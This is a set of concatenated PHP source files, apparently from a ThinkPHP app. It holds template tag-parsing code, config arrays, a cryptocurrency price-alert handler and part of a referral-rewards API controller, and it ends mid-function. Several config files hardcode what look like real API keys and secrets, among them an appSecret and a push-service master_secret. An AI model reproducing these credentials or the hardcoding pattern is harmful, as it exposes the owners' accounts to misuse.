$parseStr .= '?>';

$parseStr .= $content;

$parseStr .= '<?php endforeach; endif; else: echo "' . $empty . '" ;endif; ?>';

if (!empty($parseStr)) {

return $parseStr;

}

return;

}

/\*\*

\* if标签解析

\* 格式：

\* {if condition=" $a eq 1"}

\* {elseif condition="$a eq 2" /}

\* {else /}

\* {/if}

\* 表达式支持 eq neq gt egt lt elt == > >= < <= or and || &&

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagIf($tag, $content)

{

$condition = !empty($tag['expression']) ? $tag['expression'] : $tag['condition'];

$condition = $this->parseCondition($condition);

$parseStr = '<?php if(' . $condition . '): ?>' . $content . '<?php endif; ?>';

return $parseStr;

}

/\*\*

\* elseif标签解析

\* 格式：见if标签

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagElseif($tag, $content)

{

$condition = !empty($tag['expression']) ? $tag['expression'] : $tag['condition'];

$condition = $this->parseCondition($condition);

$parseStr = '<?php elseif(' . $condition . '): ?>';

return $parseStr;

}

/\*\*

\* else标签解析

\* 格式：见if标签

\* @access public

\* @param array $tag 标签属性

\* @return string

\*/

public function tagElse($tag)

{

$parseStr = '<?php else: ?>';

return $parseStr;

}

/\*\*

\* switch标签解析

\* 格式：

\* {switch name="a.name"}

\* {case value="1" break="false"}1{/case}

\* {case value="2" }2{/case}

\* {default /}other

\* {/switch}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagSwitch($tag, $content)

{

$name = !empty($tag['expression']) ? $tag['expression'] : $tag['name'];

$name = $this->autoBuildVar($name);

$parseStr = '<?php switch(' . $name . '): ?>' . $content . '<?php endswitch; ?>';

return $parseStr;

}

/\*\*

\* case标签解析 需要配合switch才有效

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagCase($tag, $content)

{

$value = !empty($tag['expression']) ? $tag['expression'] : $tag['value'];

$flag = substr($value, 0, 1);

if ('$' == $flag || ':' == $flag) {

$value = $this->autoBuildVar($value);

$value = 'case ' . $value . ':';

} elseif (strpos($value, '|')) {

$values = explode('|', $value);

$value = '';

foreach ($values as $val) {

$value .= 'case "' . addslashes($val) . '":';

}

} else {

$value = 'case "' . $value . '":';

}

$parseStr = '<?php ' . $value . ' ?>' . $content;

$isBreak = isset($tag['break']) ? $tag['break'] : '';

if ('' == $isBreak || $isBreak) {

$parseStr .= '<?php break; ?>';

}

return $parseStr;

}

/\*\*

\* default标签解析 需要配合switch才有效

\* 使用： {default /}ddfdf

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagDefault($tag)

{

$parseStr = '<?php default: ?>';

return $parseStr;

}

/\*\*

\* compare标签解析

\* 用于值的比较 支持 eq neq gt lt egt elt heq nheq 默认是eq

\* 格式： {compare name="" type="eq" value="" }content{/compare}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagCompare($tag, $content)

{

$name = $tag['name'];

$value = $tag['value'];

$type = isset($tag['type']) ? $tag['type'] : 'eq';

$name = $this->autoBuildVar($name);

$flag = substr($value, 0, 1);

if ('$' == $flag || ':' == $flag) {

$value = $this->autoBuildVar($value);

} else {

$value = '\'' . $value . '\'';

}

switch ($type) {

case 'equal':

$type = 'eq';

break;

case 'notequal':

$type = 'neq';

break;

}

$type = $this->parseCondition(' ' . $type . ' ');

$parseStr = '<?php if(' . $name . ' ' . $type . ' ' . $value . '): ?>' . $content . '<?php endif; ?>';

return $parseStr;

}

/\*\*

\* range标签解析

\* 如果某个变量存在于某个范围 则输出内容 type= in 表示在范围内 否则表示在范围外

\* 格式： {range name="var|function" value="val" type='in|notin' }content{/range}

\* example: {range name="a" value="1,2,3" type='in' }content{/range}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagRange($tag, $content)

{

$name = $tag['name'];

$value = $tag['value'];

$type = isset($tag['type']) ? $tag['type'] : 'in';

$name = $this->autoBuildVar($name);

$flag = substr($value, 0, 1);

if ('$' == $flag || ':' == $flag) {

$value = $this->autoBuildVar($value);

$str = 'is\_array(' . $value . ')?' . $value . ':explode(\',\',' . $value . ')';

} else {

$value = '"' . $value . '"';

$str = 'explode(\',\',' . $value . ')';

}

if ('between' == $type) {

$parseStr = '<?php $\_RANGE\_VAR\_=' . $str . ';if(' . $name . '>= $\_RANGE\_VAR\_[0] && ' . $name . '<= $\_RANGE\_VAR\_[1]):?>' . $content . '<?php endif; ?>';

} elseif ('notbetween' == $type) {

$parseStr = '<?php $\_RANGE\_VAR\_=' . $str . ';if(' . $name . '<$\_RANGE\_VAR\_[0] || ' . $name . '>$\_RANGE\_VAR\_[1]):?>' . $content . '<?php endif; ?>';

} else {

$fun = ('in' == $type) ? 'in\_array' : '!in\_array';

$parseStr = '<?php if(' . $fun . '((' . $name . '), ' . $str . ')): ?>' . $content . '<?php endif; ?>';

}

return $parseStr;

}

/\*\*

\* present标签解析

\* 如果某个变量已经设置 则输出内容

\* 格式： {present name="" }content{/present}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagPresent($tag, $content)

{

$name = $tag['name'];

$name = $this->autoBuildVar($name);

$parseStr = '<?php if(isset(' . $name . ')): ?>' . $content . '<?php endif; ?>';

return $parseStr;

}

/\*\*

\* notpresent标签解析

\* 如果某个变量没有设置，则输出内容

\* 格式： {notpresent name="" }content{/notpresent}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagNotpresent($tag, $content)

{

$name = $tag['name'];

$name = $this->autoBuildVar($name);

$parseStr = '<?php if(!isset(' . $name . ')): ?>' . $content . '<?php endif; ?>';

return $parseStr;

}

/\*\*

\* empty标签解析

\* 如果某个变量为empty 则输出内容

\* 格式： {empty name="" }content{/empty}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagEmpty($tag, $content)

{

$name = $tag['name'];

$name = $this->autoBuildVar($name);

$parseStr = '<?php if(empty(' . $name . ') || (' . $name . ' instanceof \think\Collection && ' . $name . '->isEmpty())): ?>' . $content . '<?php endif; ?>';

return $parseStr;

}

/\*\*

\* notempty标签解析

\* 如果某个变量不为empty 则输出内容

\* 格式： {notempty name="" }content{/notempty}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagNotempty($tag, $content)

{

$name = $tag['name'];

$name = $this->autoBuildVar($name);

$parseStr = '<?php if(!(empty(' . $name . ') || (' . $name . ' instanceof \think\Collection && ' . $name . '->isEmpty()))): ?>' . $content . '<?php endif; ?>';

return $parseStr;

}

/\*\*

\* 判断是否已经定义了该常量

\* {defined name='TXT'}已定义{/defined}

\* @param array $tag

\* @param string $content

\* @return string

\*/

public function tagDefined($tag, $content)

{

$name = $tag['name'];

$parseStr = '<?php if(defined("' . $name . '")): ?>' . $content . '<?php endif; ?>';

return $parseStr;

}

/\*\*

\* 判断是否没有定义了该常量

\* {notdefined name='TXT'}已定义{/notdefined}

\* @param array $tag

\* @param string $content

\* @return string

\*/

public function tagNotdefined($tag, $content)

{

$name = $tag['name'];

$parseStr = '<?php if(!defined("' . $name . '")): ?>' . $content . '<?php endif; ?>';

return $parseStr;

}

/\*\*

\* load 标签解析 {load file="/static/js/base.js" /}

\* 格式：{load file="/static/css/base.css" /}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagLoad($tag, $content)

{

$file = isset($tag['file']) ? $tag['file'] : $tag['href'];

$type = isset($tag['type']) ? strtolower($tag['type']) : '';

$parseStr = '';

$endStr = '';

if (isset($tag['value'])) {

$name = $tag['value'];

$name = $this->autoBuildVar($name);

$name = 'isset(' . $name . ')';

$parseStr .= '<?php if(' . $name . '): ?>';

$endStr = '<?php endif; ?>';

}

$array = explode(',', $file);

foreach ($array as $val) {

$type = strtolower(substr(strrchr($val, '.'), 1));

switch ($type) {

case 'js':

$parseStr .= '<script type="text/javascript" src="' . $val . '"></script>';

break;

case 'css':

$parseStr .= '<link rel="stylesheet" type="text/css" href="' . $val . '" />';

break;

case 'php':

$parseStr .= '<?php include "' . $val . '"; ?>';

break;

}

}

return $parseStr . $endStr;

}

/\*\*

\* assign标签解析

\* 在模板中给某个变量赋值 支持变量赋值

\* 格式： {assign name="" value="" /}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagAssign($tag, $content)

{

$name = $this->autoBuildVar($tag['name']);

$flag = substr($tag['value'], 0, 1);

if ('$' == $flag || ':' == $flag) {

$value = $this->autoBuildVar($tag['value']);

} else {

$value = '\'' . $tag['value'] . '\'';

}

$parseStr = '<?php ' . $name . ' = ' . $value . '; ?>';

return $parseStr;

}

/\*\*

\* define标签解析

\* 在模板中定义常量 支持变量赋值

\* 格式： {define name="" value="" /}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagDefine($tag, $content)

{

$name = '\'' . $tag['name'] . '\'';

$flag = substr($tag['value'], 0, 1);

if ('$' == $flag || ':' == $flag) {

$value = $this->autoBuildVar($tag['value']);

} else {

$value = '\'' . $tag['value'] . '\'';

}

$parseStr = '<?php define(' . $name . ', ' . $value . '); ?>';

return $parseStr;

}

/\*\*

\* for标签解析

\* 格式：

\* {for start="" end="" comparison="" step="" name=""}

\* content

\* {/for}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagFor($tag, $content)

{

$start = 0;

$end = 0;

$step = 1;

$comparison = 'lt';

$name = 'i';

$rand = rand();

foreach ($tag as $key => $value) {

$value = trim($value);

$flag = substr($value, 0, 1);

if ('$' == $flag || ':' == $flag) {

$value = $this->autoBuildVar($value);

}

switch ($key) {

case 'start':

$start = $value;

break;

case 'end':

$end = $value;

break;

case 'step':

$step = $value;

break;

case 'comparison':

$comparison = $value;

break;

case 'name':

$name = $value;

break;

}

}

$parseStr = '<?php $\_\_FOR\_START\_' . $rand . '\_\_=' . $start . ';$\_\_FOR\_END\_' . $rand . '\_\_=' . $end . ';';

$parseStr .= 'for($' . $name . '=$\_\_FOR\_START\_' . $rand . '\_\_;' . $this->parseCondition('$' . $name . ' ' . $comparison . ' $\_\_FOR\_END\_' . $rand . '\_\_') . ';$' . $name . '+=' . $step . '){ ?>';

$parseStr .= $content;

$parseStr .= '<?php } ?>';

return $parseStr;

}

/\*\*

\* U函数的tag标签

\* 格式：{url link="模块/控制器/方法" vars="参数" suffix="true或者false 是否带有后缀" domain="true或者false 是否携带域名" /}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagUrl($tag, $content)

{

$url = isset($tag['link']) ? $tag['link'] : '';

$vars = isset($tag['vars']) ? $tag['vars'] : '';

$suffix = isset($tag['suffix']) ? $tag['suffix'] : 'true';

$domain = isset($tag['domain']) ? $tag['domain'] : 'false';

return '<?php echo url("' . $url . '","' . $vars . '",' . $suffix . ',' . $domain . ');?>';

}

/\*\*

\* function标签解析 匿名函数，可实现递归

\* 使用：

\* {function name="func" vars="$data" call="$list" use="&$a,&$b"}

\* {if is\_array($data)}

\* {foreach $data as $val}

\* {~func($val) /}

\* {/foreach}

\* {else /}

\* {$data}

\* {/if}

\* {/function}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagFunction($tag, $content)

{

$name = !empty($tag['name']) ? $tag['name'] : 'func';

$vars = !empty($tag['vars']) ? $tag['vars'] : '';

$call = !empty($tag['call']) ? $tag['call'] : '';

$use = ['&$' . $name];

if (!empty($tag['use'])) {

foreach (explode(',', $tag['use']) as $val) {

$use[] = '&' . ltrim(trim($val), '&');

}

}

$parseStr = '<?php $' . $name . '=function(' . $vars . ') use(' . implode(',', $use) . ') {';

$parseStr .= ' ?>' . $content . '<?php }; ';

$parseStr .= $call ? '$' . $name . '(' . $call . '); ?>' : '?>';

return $parseStr;

}

}

<?php

return [

'time' => '10',

'order' => '0',

'hide' => '1',

];<?php

return [

'appKey' => '4z3hlwrv4ovvt',

'appSecret' => 'BU6RSKLnJVN',

'jsonPath' => 'jsonsource/',

];<?php

return [

'baoxiang' => '10',

'baoxiang\_l' => '1',

'baoxiang\_r' => '5',

'baoxiang\_fenxiang' => '分享到朋友圈不仅可以获得<span>20金币</span>，还可以获得现金，现在每收一个有效徒弟最低可赚<span>4元</span>现金！',

'baoxiang\_tudi\_1' => '1',

'baoxiang\_tudi\_1\_money' => '10',

'baoxiang\_tudi\_2' => '10',

'baoxiang\_tudi\_2\_money' => '30',

'baoxiang\_tudi\_3' => '20',

'baoxiang\_tudi\_3\_money' => '50',

'baoxiang\_tudi\_4' => '50',

'baoxiang\_tudi\_4\_money' => '200',

'baoxiang\_tudi\_5' => '100',

'baoxiang\_tudi\_5\_money' => '500',

'diaocha' =>'10',

'qiandao\_1' => '10',

'qiandao\_2' => '15',

'qiandao\_3' => '20',

'qiandao\_4' => '25',

'qiandao\_5' => '30',

'qiandao\_6' => '35',

'qiandao\_7' => '40'

];<?php

return [

'url' => 'http:

'prod\_url' => 'http:

'title' => '',

'dtitle' => '',

'logo' => '',

'keywords' => '',

'description' => '',

'phone' => '',

'qq' => '',

'switch' => '1',

'guanjianci' => 'BTC,ETH',

'copyright' => '',

];

<?php

return [

'appid' => 'A6939467624361',

'appkey' => '50154B45-A563-E16C-6D62-3E563888C324',

'app\_key' => '388d9d36ad6e4e7d18209111',

'master\_secret' => '0753bfdfc5aaab3abb6704fa',

'push\_time' => '3',

'redian' => '0',

'push' => '1',

];<?php

return [

'title' => '每名徒弟奖励8元了，马上收徒',

'msg' => '徒弟每天阅读，都能向您进贡金币',

'fenxiang\_title' => '分享标题，后台自行修改内容',

'fenxiang\_content' => '分享描述，后台 - 师徒邀请 - 奖励配置 - 后台自行修改内容',

'renwu' => '签到领金币、开宝箱',

'duihuan' => '秒赚金币100倍',

'money\_yaoqing' => '0.50',

'money\_yaoqing\_s1' => '0.30',

'jinbi\_yaoqing' => '20',

'jinbi\_yaoqing\_s1' => '10',

'money\_login' => '0.10',

'money\_login\_s1' => '0.10',

'jinbi\_login' => '20',

'jinbi\_login\_s1' => '20',

'money\_news\_num' => '5',

'money\_news\_time' => 10000,

'money\_news' => '0.10',

'money\_news\_s1' => '0.10',

'jinbi\_news' => '20',

'jinbi\_news\_s1' => '10',

'money\_weitoutiao' => '0.10',

'money\_weitoutiao\_s1' => '0.10',

'jinbi\_weitoutiao' => '20',

'jinbi\_weitoutiao\_s1' => '10',

'money\_fenxiang\_1' => '0.20',

'money\_fenxiang\_1\_s1' => '0.10',

'jinbi\_fenxiang\_1' => '20',

'jinbi\_fenxiang\_1\_s1' => '10',

'money\_fenxiang\_2' => '0.20',

'money\_fenxiang\_2\_s1' => '0.20',

'jinbi\_fenxiang\_2' => '20',

'jinbi\_fenxiang\_2\_s1' => '10',

'money\_jindu\_time' => '20',

'money\_jindu\_num' => '200',

'jinbi\_jindu\_2' => '10',

'jinbi\_jindu\_2\_s1' => '5',

];<?php

return [

'liwu\_title' => '钻石',

'type\_content' => '请选择合适自己的分类，精准的分类可以获得更多的展示机会。如果选择不正确的分类，将影响您后续直播间的展示机会',

'content'=>'欢迎来到直播间！速翔网络倡导绿色健康直播，不提倡未成年人进行充值。直播内容和评论严禁包含政治、低俗、色情等内容',

'input\_text'=>'跟大家聊聊呗',

];<?php

return [

'app\_namespace' => 'app',

'app\_debug' => true,

'app\_trace' => false,

'app\_status' => '',

'app\_multi\_module' => true,

'auto\_bind\_module' => false,

'root\_namespace' => [],

'extra\_file\_list' => [THINK\_PATH . 'helper' . EXT],

'default\_return\_type' => 'html',

'default\_ajax\_return' => 'json',

'default\_jsonp\_handler' => 'jsonpReturn',

'var\_jsonp\_handler' => 'callback',

'default\_timezone' => 'PRC',

'lang\_switch\_on' => false,

'default\_filter' => 'htmlspecialchars',

'default\_lang' => 'zh-cn',

'class\_suffix' => false,

'controller\_suffix' => false,

'default\_module' => 'index',

'deny\_module\_list' => ['common'],

'default\_controller' => 'Index',

'default\_action' => 'index',

'default\_validate' => '',

'empty\_controller' => 'Error',

'action\_suffix' => '',

'controller\_auto\_search' => false,

'var\_pathinfo' => 's',

'pathinfo\_fetch' => ['ORIG\_PATH\_INFO', 'REDIRECT\_PATH\_INFO', 'REDIRECT\_URL'],

'pathinfo\_depr' => '/',

'url\_html\_suffix' => 'html',

'url\_common\_param' => false,

'url\_param\_type' => 0,

'url\_route\_on' => true,

'route\_config\_file' => ['route'],

'url\_route\_must' => false,

'url\_domain\_deploy' => false,

'url\_domain\_root' => '',

'url\_convert' => true,

'url\_controller\_layer' => 'controller',

'var\_method' => '\_method',

'template' => [

'type' => 'Think',

'view\_path' => '',

'view\_suffix' => 'html',

'view\_depr' => DS,

'tpl\_begin' => '{',

'tpl\_end' => '}',

'taglib\_begin' => '{',

'taglib\_end' => '}',

'taglib\_pre\_load' => 'app\common\taglib\Fx',

],

'view\_replace\_str' => [],

'dispatch\_success\_tmpl' => THINK\_PATH . 'tpl' . DS . 'dispatch\_jump.tpl',

'dispatch\_error\_tmpl' => THINK\_PATH . 'tpl' . DS . 'dispatch\_jump.tpl',

'exception\_tmpl' => THINK\_PATH . 'tpl' . DS . 'think\_exception.tpl',

'error\_message' => '请联系QQ技术：1424445608',

'show\_error\_msg' => false,

'exception\_handle' => '',

'log' => [

'type' => 'File',

'path' => LOG\_PATH,

'level' => [],

],

'trace' => [

'type' => 'Html',

],

'sql\_explain' => true,

'cache' => [

'type' => 'File',

'path' => CACHE\_PATH,

'prefix' => '',

'expire' => 0,

],

'session' => [

'id' => '',

'var\_session\_id' => '',

'prefix' => 'suxiangw',

'type' => '',

'auto\_start' => true,

],

'cookie' => [

'prefix' => '',

'expire' => 0,

'path' => '/',

'domain' => '',

'secure' => false,

'httponly' => '',

'setcookie' => true,

],

'paginate' => [

'type' => 'bootstrap',

'var\_page' => 'page',

'list\_rows' => 10,

],

'captcha' => [

'codeSet' => '0123456789',

'fontSize' => 18,

'useCurve' => false,

'imageH' => 30,

'imageW' => 120,

'length' => 3,

'reset' => true

],

];

<?php

namespace app\behavior;

use think\Db;

class ActionLog

{

/\*\*\*

\* @name根据交易所最新币种报价匹配用户关注的提醒价格以及对应用户的消息提醒

\* @by Xh

\*/

public function run($batch\_no){

$symbolData = Db::name('ticker')->field('exchange,symbol,last\_price as price')->where(['batch\_no'=>$batch\_no])->select();

if(!empty($symbolData)){

foreach($symbolData as $key=>$data){

$where = [];

$priceData = '0.05';

if(!empty($data['exchange'])&& !empty($data['symbol']) &&!empty($data['price'])){

$exchange = $data['exchange'];

$symbol = $data['symbol'];

$price = $data['price'];

$strat = sprintf("%.2f",($price - ($price\*$priceData)));

$end = sprintf("%.2f",($price + ($price\*$priceData)));

$where['exchange'] = ['=',$exchange];

$where['symbol'] = ['=',$symbol];

$where['price'] = ['between',[$strat,$end]];

$where['handle'] = ['=',0];

$coinData = explode('/',$symbol);

$coin = $coinData[0];

$userData = Db::name('symbol\_alert')->field('id,member\_id,exchange,symbol')->where($where)->select();

if($userData){

foreach ($userData as $key=>$val){

$res = Db::name('symbol\_alert')->where(['id'=>$val['id']])->update(['handle'=>1]);

$content = '价格提醒';

$message = [

'type\_id'=>4,

'recipient\_id'=>$val['member\_id'],

'exchange'=>$val['exchange'],

'symbol'=>$val['symbol'],

'coin\_name'=>$coin,

'content'=>$content,

'read'=>0,

'create\_time'=>time()

];

$result = Db::name('message')->insert($message);

}

}

}

}

}

}

}

<?php

namespace app\api\controller;

use app\api\controller\Common;

use think\Db;

use think\Session;

use think\Request;

use think\Validate;

class Yaoqing extends Common

{

public $member=null;

public function \_\_construct($tokenaaa=''){

parent::\_\_construct();

if(!Request::instance()->isMobile()){

exit(json\_encode(['err'=>'禁止操作1']));

}

$config=Db::name('member\_config')->where('name','switch')->value('text');

unset($data);

if(!$config || $config==0){

exit(json\_encode(['err'=>'会员未开放']));

}

$token=Session::get('user','ffxiangUser') ? Session::get('user','ffxiangUser') : input('post.token');

if(!$token){

if($tokenaaa){

$token=$tokenaaa;

}else{

echo json\_encode(['err'=>'token不正确']);

exit();

}

}

$uid=\_decrypt($token);

if(!$uid){

echo json\_encode(['err'=>'会员UID不正确，请重新获取token']);

exit();

}

$member=\_user($uid);

if($member){

switch ($member['hide']) {

case '0':

$recording=\_records($member['id'],'API操作,账户被禁止');

if($recording){

$data=['err'=>'无法登录，原因是账户已被封号'];

}

echo json\_encode($data);

break;

exit();

case '2':

$recording=\_records($member['id'],'API操作,账户正在审核');

if($recording){

$data=['err'=>'账户正在审核，请等待客服处理'];

}

echo json\_encode($data);

break;

exit();

case '3':

$recording=\_records($member['id'],'API操作，账户审核被拒绝');

if($recording){

$data=['err'=>'账户审核被拒绝，拒绝原因：'.$member['hidetent']];

}

echo json\_encode($data);

break;

exit();

}

}else{

echo json\_encode(['err'=>'会员不存在']);

exit();

}

$this->member=$member;

}

public function zongbang(){

$type=input('type/d') ? input('type/d') : 1;

if($type==2){

$where['a.s1']=$this->member['id'];

$order='b.create\_time desc';

}else{

$order='a.money\_num desc';

}

$where['b.hide']=1;

$data=Db::name('yaoqing')->alias('a')->join('\_\_MEMBER\_\_ b','a.uid = b.id')->where($where)->order($order)->field('b.id,b.nickname,b.mobile,a.money\_num,a.tudi\_num,b.create\_time')->paginate(10)->toarray();

if($type==1){

$pages=input('page');

if($pages>10){

$data['total']=100;

$data['data']='';

}

}

if($data['data']){

foreach ($data['data'] as $k => $v) {

$data['data'][$k]['username']=\_username($v);

$data['data'][$k]['money\_num']=\_money($v['money\_num']);

$data['data'][$k]['time']=date('m-d H:i',$v['create\_time']);

}

}

echo json\_encode($data);

}

public function mingxi(){

$type=input('type/d');

if($type==1){

$where['a.type']=1;

}else if($type==2){

$where['a.type']=0;

}

$where['a.uid']=$this->member['id'];

$join=[

['\_\_MEMBER\_\_ b','a.uid = b.id']

];

$data=Db::name('yaoqing\_records')->alias('a')->join($join)->where($where)->order('a.time desc')->field('a.money,a.content,a.time,a.type,b.mobile,b.nickname,a.data,b.id')->paginate()->toarray();

foreach ($data['data'] as $k => $v) {

$data['data'][$k]['username']=\_username($v);

$data['data'][$k]['time']=date('m-d H:i',$v['time']);

$data['data'][$k]['content']=$v['content'].(!$v['data'] ? '<b class="sx-jia">+' : '<b class="sx-jian">-').($v['type'] ? $v['money'].'金币' : \_money($v['money']).'元').'</b>';

}

echo json\_encode($data);

}

public function yaoqingma(){

$yaoqingma=input('yaoqingma/d');

if(!$yaoqingma){

exit(json\_encode(['err'=>'请输入邀请码']));

}

if($yaoqingma == $this->member['id']){

exit(json\_encode(['err'=>'不能自己当师傅哦']));

}

$uid=Db::name('yaoqing')->where(['uid'=>$yaoqingma])->value('uid');

if(!$uid){

exit(json\_encode(['err'=>'邀请码不存在']));

}

$my=Db::name('yaoqing')->where('uid',$this->member['id'])->find();

if($my){

if($my['s1']){

exit(json\_encode(['err'=>'非法操作']));

}else{

$db=Db::name('yaoqing')->where('uid',$this->member['id'])->setField('s1',$uid);

}

}else{

$db=Db::name('yaoqing')->insert(['uid'=>$this->member['id'],'s1'=>$uid]);

}

$time=time();

if($db){

Db::name('yaoqing')->where('uid',$uid)->setInc('tudi\_num');

$ip=\_ip();

$yaoqing=config()['yaoqing'];

if($yaoqing['money\_yaoqing']){

\_moneyDb([

'uid' => $this->member['id'],

'money' =>[

'money' => $yaoqing['money\_yaoqing']\*100,

'content' => '邀请码注册'

]

]);

}

if($yaoqing['money\_yaoqing\_s1']){

\_moneyDb([

'uid' => $uid,

'money' =>[

'money' => $yaoqing['money\_yaoqing\_s1']\*100,

'content' => 'id:'.$this->member['id'].'成功邀请徒弟',

]

]);

}

$text=$yaoqing['money\_yaoqing'] ? '恭喜你成功领取'.$yaoqing['money\_yaoqing'].'元红包' : '操作成功';

echo json\_encode(['ret'=>$text]);

}else{

echo json\_encode(['err'=>'操作失败']);

}

}

public function daily(){

$type=input('type');

$yaoqing=config()['yaoqing'];

$uid=$this->member['id'];

$s1=$this->member['yaoqing']['s1'];

$time=time();

if($type=='money\_login'){

if($yaoqing['money\_login']){

$content='每日登录奖励零钱';

$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>'每日登录奖励零钱'])->whereTime('time','today')->value('uid');

if(!$db){

$money\_login\_money=$yaoqing['money\_login'];

$db=\_moneyDb([

'uid'=>$uid,

'money'=>[

'money'=>$money\_login\_money\*100,

'content'=>$content

]

]);

if($db){

$ret=1;

echo json\_encode(['ret'=>['h1'=>$money\_login\_money.'元','span'=>'恭喜每天上APP获得￥'.$money\_login\_money."零钱<br>已放入您的零钱<br>"."明天上APP再领￥".$money\_login\_money."零钱"]]);

}

}

}

if($s1 && $yaoqing['money\_login\_s1']){

$content='uid:'.$uid.'徒弟每日登录奖励零钱';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

\_moneyDb([

'uid'=>$s1,

'money'=>[

'money'=>$yaoqing['money\_login\_s1']\*100,

'content'=>$content

]

]);

}

}

if($yaoqing['jinbi\_login']){

$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>'每日登录奖励金币'])->whereTime('time','today')->value('uid');

if(!$db){

$jinbi\_login\_money=$yaoqing['jinbi\_login'];

$db=\_moneyDb([

'uid'=>$uid,

'jinbi'=>[

'money'=>$jinbi\_login\_money,

'content'=>'每日登录奖励金币'

]

]);

if($db){

if(empty($ret)){

echo json\_encode(['ret'=>['h1'=>$jinbi\_login\_money.'金币','span'=>'恭喜每天上APP获得'.$jinbi\_login\_money."金币<br>已放入您的账户<br>"."明天上APP再领".$money\_login\_money."金币"]]);

}

}

}

}

if($s1 && $yaoqing['jinbi\_login\_s1']){

$content='uid:'.$uid.'徒弟每日登录奖励金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

\_moneyDb([

'uid'=>$s1,

'jinbi'=>[

'money'=>$yaoqing['jinbi\_login\_s1'],

'content'=>$content

]

]);

}

}

}else if($type=='money\_news'){

if($yaoqing['money\_news'] && $yaoqing['money\_news\_num']){

$content='阅读'.$yaoqing['money\_news\_num'].'篇文章奖励零钱';

$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>['like','%篇文章奖励零钱%']])->whereTime('time','today')->value('uid');

if(!$db){

if($this->member['yaoqing']['news\_num'] < $yaoqing['money\_news\_num']){

Db::name('yaoqing')->where(['uid'=>$uid])->setInc('news\_num');

return;

}

Db::name('yaoqing')->where(['uid'=>$uid])->setField('news\_num',0);

$money=$yaoqing['money\_news'];

$moneyDb=\_moneyDb([

'uid' => $uid,

'money' => [

'money' => $money\*100,

'content' => $content

]

]);

if($moneyDb){

$ret=1;

echo json\_encode(['ret'=>['h1'=>'￥'.$money.'','span'=>'你今日已阅读'.$yaoqing['money\_news\_num'].'篇文章<br>￥'.$money.'零钱已放入你的零钱<br>明日再阅读'.$yaoqing['money\_news\_num'].'篇文章可获得￥'.$money.'零钱']]);

}

}

}

if($yaoqing['money\_news\_s1'] && $yaoqing['money\_news\_num']){

$content='uid:'.$uid.'徒弟阅读'.$yaoqing['money\_news\_num'].'篇文章奖励零钱';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>['like','%徒弟阅读奖励零钱%']])->whereTime('time','today')->value('uid');

if(!$db){

if($this->member['yaoqing']['news\_num'] < $yaoqing['money\_news\_num']){

Db::name('yaoqing')->where(['uid'=>$uid])->setInc('news\_num');

return;

}

Db::name('yaoqing')->where(['uid'=>$uid])->setField('news\_num',0);

$money=$yaoqing['money\_news\_s1'];

\_moneyDb([

'uid' => $s1,

'money' => [

'money' => $money\*100,

'content' => $content

]

]);

}

}

if($yaoqing['jinbi\_news'] && $yaoqing['money\_news\_num']){

$content='阅读'.$yaoqing['money\_news\_num'].'篇文章奖励金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>['like','%篇文章奖励金币%']])->whereTime('time','today')->value('uid');

if(!$db){

if($this->member['yaoqing']['news\_num'] < $yaoqing['money\_news\_num']){

Db::name('yaoqing')->where(['uid'=>$uid])->setInc('news\_num');

return;

}

Db::name('yaoqing')->where(['uid'=>$uid])->setField('news\_num',0);

$money=$yaoqing['jinbi\_news'];

$moneyDb=\_moneyDb([

'uid' => $uid,

'jinbi' => [

'money' => $money,

'content' => $content

]

]);

if($moneyDb){

if(empty($ret)){

echo json\_encode(['ret'=>['h1'=>''.$money.'金币','span'=>'你今日已阅读'.$yaoqing['money\_news\_num'].'篇文章<br>'.$money.'金币已放入你的账户<br>明日再阅读'.$yaoqing['money\_news\_num'].'篇文章可获得'.$money.'金币']]);

}

}

}

}

if($yaoqing['jinbi\_news\_s1'] && $yaoqing['money\_news\_num']){

$content='uid:'.$uid.'徒弟阅读'.$yaoqing['money\_news\_num'].'篇文章奖励金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>['like','%徒弟阅读奖励金币%']])->whereTime('time','today')->value('uid');

if(!$db){

if($this->member['yaoqing']['news\_num'] < $yaoqing['money\_news\_num']){

Db::name('yaoqing')->where(['uid'=>$uid])->setInc('news\_num');

return;

}

Db::name('yaoqing')->where(['uid'=>$uid])->setField('news\_num',0);

$money=$yaoqing['jinbi\_news\_s1'];

\_moneyDb([

'uid' => $s1,

'jinbi' => [

'money' => $money,

'content' => $content

]

]);

}

}

}else if($type=='money\_weitoutiao'){

if($yaoqing['money\_weitoutiao']){

$content='发布微头条零钱';

